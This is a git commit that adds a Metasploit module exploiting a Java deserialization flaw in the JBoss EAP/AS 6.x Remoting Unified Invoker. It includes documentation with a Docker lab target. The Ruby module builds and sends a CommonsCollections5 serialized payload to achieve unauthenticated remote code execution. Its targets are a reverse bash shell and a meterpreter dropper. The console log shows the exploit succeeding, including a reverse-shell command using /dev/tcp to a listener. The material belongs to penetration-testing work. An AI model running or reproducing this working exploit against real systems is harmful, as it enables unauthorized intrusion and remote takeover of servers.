Land #16744 Jboss EAP/AS RCE module

This module exploits a Java deserialization vulnerability
in JBOSS EAP/AS Remoting Unified Invoker interface for
versions 6.1.0 and prior.
This commit is contained in:
Jack Heysel 2022-07-12 10:49:22 -04:00
commit 52fd45b7ab
No known key found for this signature in database
GPG Key ID: D373F2C24A2A1E70
2 changed files with 278 additions and 0 deletions

View File

@ -0,0 +1,153 @@
## Vulnerable Application
### Description
This module exploits a Java deserialization vulnerability in JBOSS
EAP/AS Remoting Unified Invoker interface for versions 6.1.0 and prior.
### Setup
#### Dockerfile
```dockerfile
FROM jboss/base-jdk:8
# Set the JBOSS_VERSION env variable
ENV JBOSS_HOME /opt/jboss/jboss-as-6.1
ENV EAP_HOME /opt/jboss/jboss-as-6.1
# Add the JBoss distribution to /opt, and make jboss the owner of the extracted zip content
# https://jbossas.jboss.org/downloads
RUN curl https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip -o /opt/jboss/jboss-as-6.1.0.zip
RUN jar -xvf /opt/jboss/jboss-as-6.1.0.zip \
&& mv /opt/jboss/jboss-6.1.0.Final $EAP_HOME \
&& chmod a+x $EAP_HOME/bin/*
# Ensure signals are forwarded to the JVM process correctly for graceful shutdown
#ENV LAUNCH_JBOSS_IN_BACKGROUND true
# Enable binding to all network interfaces and debugging inside the EAP
RUN echo "JAVA_OPTS=\"\$JAVA_OPTS -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0\"" >> ${EAP_HOME}/bin/run.conf
# Expose the ports we're interested in
EXPOSE 8080 9990 4447 9999 4446 3873 4445
# Set the default command to run on boot
# This will boot JBoss EAP in the standalone mode and bind to all interface
ENTRYPOINT ["/opt/jboss/jboss-as-6.1/bin/run.sh"]
```
#### docker-compose.yml
```yml
version: "3"
services:
web:
build: .
ports:
- "8080:8080"
- "9990:9990"
- "4447:4447"
- "9999:9999"
- "4446:4446"
- "3873:3873"
- "4445:4445"
networks:
internet:
aliases:
- jboss-as-61
networks:
internet:
driver: bridge
```
```bash
docker-compose up
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Targets
### 0
This executes a Unix command.
### 1
This uses a Linux dropper to execute code.
## Scenarios
### JBoss Application Server 6.1.0 from [Docker](#setup).
```
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > options
Module options (exploit/multi/misc/jboss_remoting_unified_invoker_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS localhost yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 4446 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.15:4444
[*] 127.0.0.1:4446 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:4446 - The target appears to be vulnerable.
[*] 127.0.0.1:4446 - Executing Unix Command for cmd/unix/reverse_bash
[+] 127.0.0.1:4446 - Successfully executed command: bash -c '0<&70-;exec 70<>/dev/tcp/192.168.1.15/4444;sh <&70 >&70 2>&70'
[*] Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.15:65270) at 2022-07-05 00:06:09 +0200
id
uid=1000(jboss) gid=1000(jboss) groups=1000(jboss)
pwd
/opt/jboss
/opt/jboss/jboss-as-6.1/bin/run.sh --version
=========================================================================
JBoss Bootstrap Environment
JBOSS_HOME: /opt/jboss/jboss-as-6.1
JAVA: /usr/lib/jvm/java/bin/java
JAVA_OPTS: -server -Xms128m -Xmx512m -XX:MaxPermSize=256m -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0 -Djava.net.preferIPv4Stack=true -Dprogram.name=run.sh -Dlogging.configuration=file:/opt/jboss/jboss-as-6.1/bin/logging.properties -Djava.library.path=/opt/jboss/jboss-as-6.1/bin/native/lib64:/opt/jboss/jboss-as-6.1/bin/native/lib64
CLASSPATH: /opt/jboss/jboss-as-6.1/bin/run.jar:/usr/lib/jvm/java/lib/tools.jar
=========================================================================
OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=256m; support was removed in 8.0
JBoss 6.1.0.Final (Build SVNTag:JBoss_6.1.0.Final date: 20110816)
Distributable under LGPL license.
See terms of license at gnu.org.
exit
[*] 127.0.0.1 - Command shell session 1 closed.
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) >
```

View File

@ -0,0 +1,125 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE',
'Description' => %q{
An unauthenticated attacker with network access to the JBOSS
EAP/AS <= 6.x Remoting Unified Invoker interface can send a
serialized object to the interface to execute code on vulnerable hosts.
},
'Author' => [
'Joao Matos <@joaomatosf>', # Discovery
'Marcio Almeida <@marcioalm>', # PoC
'Heyder Andrade <@HeyderAndrade>' # msf module
],
'References' => [
[ 'URL', 'https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf']
],
'DisclosureDate' => '2019-12-11',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(4446)
])
end
def handshake_data
# MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER
# AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
# 00 05: STREAM_VERSION. The serialization version.
['aced0005'].pack('H*')
end
def check
connect
sock.put(handshake_data)
data = sock.get_once(16)
disconnect
return Exploit::CheckCode::Appears if data == handshake_data
return Exploit::CheckCode::Safe
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'")
return Exploit::CheckCode::Unknown
end
# def exploit
def execute_command(cmd, _opts = {})
java_payload = generate_java_deserialization_for_command('CommonsCollections5', 'bash', cmd)
# MAGIC BYTES JBOSS PROTOCOL:
# 0x77: TC_BLOCKDATA
# 0x01: Length of TC_BLOCKDATA
# 0x16: Protocol version 22
# 0x79: TC_RESET
magic_bytes = ['77011679'].pack('H*')
payload = magic_bytes + java_payload.byteslice(4..)
connect
sock.put(handshake_data)
sock.get_once(16)
sock.put(payload)
disconnect
print_good('Successfully sent payload')
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
fail_with(Failure::Unreachable, e.message)
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end